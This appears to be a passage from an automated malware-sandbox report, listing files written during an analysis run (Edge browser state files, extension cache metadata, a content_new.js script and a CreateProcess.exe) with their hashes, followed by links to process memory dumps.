Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 57fd531491edd0865d2aabeade3a936fbd674dc7d7674db21e4b9fc703e45b59
MD5 fbf0ba22cb3a647c2edc6e6947d90b57
SHA1 7458a86f6d40044f2e6bf2e4cf2f1c2d0a2b0afb
SHA512 af3a5c2b7ae884f615fb14ba846ffc50b2312dc68db0cceff6ed1ebc34653461036bf239478d936a4219aa01ade008bb0af0dd5898762c9cf764abf60d991763
SSDEEP 768:mrv+4UNbdm3T57YiJ8Td/NHXmTWTbc+HcoeVH1SvBy:mbsbg3aPJeWn1VEH1+y
TLSH
T16213CF729CA89B37ADF68F84B547BA477FF8116381D40A84C8D96B4D068B48D031BD3B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 8e39dff1514d0bd3e20dae937aff2168ec26ce15ea5ef5669bd62d826bd954de
MD5 918b70df65c7dbee47ec09b4bd20362c
SHA1 d57adb43fc8185965c88b022574e29bd95231a01
SHA512 1596b3b7e3f024e0f2439282664fa521f910f236bc7148a048c82bba7ce0ddcf155813fd99b2c3f11bf1704613e046951304956b2b284492c36415e4c59fc701
SSDEEP 768:arv+4UNbdM3ppAiJuNHXmTWTbc+/lDeVH1SvyZ:absb+30xeWn1tEH1dZ
TLSH
T13003CF329CAA8F37ADF65788744BBA573EB8117389C40B84C9D96B4D028758D130BD3B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 43KB
SHA256 705ed43fab024ed5315e53b35dda0a5ac799b88752e9cdad7acb5ed9dda2cfff
MD5 3642fbf0af9fca3daa5e8def02d7a90f
SHA1 81deafe6db1b68671d2854b637d05b1f74bcdb81
SHA512 93010ce44ad4a8e1b79405fb788c2cf939954c7b4b5a71546b456c84a6fffc9fb1a158d0c5a1d5524070572b8f0ab05311a758f5531609e7ce1158425ae99fed
SSDEEP 768:QF1j+9a3GwgE5H4c8TdGNHXmTWTbc+Hcob9MD:99a3+6eWn1Vb+D
TLSH
T1871318F298D78A37D9AE4B97673D6E469DBCC163B1881884BBC85E4CCC8617FC306815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b908533f-abe3-4310-b41f-8a3471daf8ce.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\b908533f-abe3-4310-b41f-8a3471daf8ce.tmp
Size 41KB
SHA256 481bfaa79818aa8edc07964f032487f0e69247ce7c4c9b3e1f2f81d70429a254
MD5 99c85231fe289f461a5480d738055ddb
SHA1 aafa0287bd606334b000642910b47c80f88da3d4
SHA512 d2fa6b9203235541c8cb99224cbcd0240f80f63a5fac17ef6035182d1dcd7d556810f29ac2df0326b3518722198e9d8c6212bcd3533d91e0dc3f3418e3b357d2
SSDEEP 768:frv+4UNbdm3K5UYiJ8Td/NHXmTWTbc+HcoeVH1SvBy:fbsbg3yPJeWn1VEH1+y
TLSH
T1B413CF729CA99A37ADF68F84B507BA477FF8116381C40A84C9D96B4D068B58D031BD3B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 492B
SHA256 9107e613905835c00077a499d2faa20bb70b974e6309d1f2f33ae52933318f07
MD5 2012d4de563c653f56f62ccbf46db598
SHA1 fb24881003593f1ceb79019e52ce5ee9e94c889c
SHA512 c03d6584395c1c97c75af7dc6df57df358d3957035521bb6833c538679683aebe0410bb12586472b84dc98111e703984dd37868464fa9c66fdafb423e763b555
TLSH
T10CF00E829C3E25C086E90F7FE44725F840C46517B0883879088DE9D8813A40F11414BE
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

68764e81-7d41-45e9-9a48-d86188b0d6dc.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\68764e81-7d41-45e9-9a48-d86188b0d6dc.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1084_1118665515\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 56152fb149ef967564f36324292f89ff808ed98e7b6f02cc52537f0ac619b7e4
MD5 f2e6bc864348b6a925aeec687d5cdabd
SHA1 6af067858232ac6334239d36f014c805767663b1
SHA512 8f1ca2f98247c80605e748be97cb730f985bbda3079661acd829b93d801cb9a94fb988aca51c631da064477c7a55b6d52673303f532664644968041707a3ce73
TLSH
T12971238357B9D6B3C5DE9FF002835604F6FB22380B2330200B955587AB30A7A24B8F04
MD5 SHA1 SHA512 TLSH

Submit Download

memory/204-320-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/244-253-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1364-225-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1588-488-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1944-384-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2424-332-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2544-440-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2892-420-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3016-57-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3084-277-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3300-463-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3300-485-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3328-305-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3356-178-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3500-265-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3532-301-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4012-458-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4028-483-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4132-409-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4520-357-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5196-397-0x0000000000010000-0x00000000000AB000-memory.dmp

Download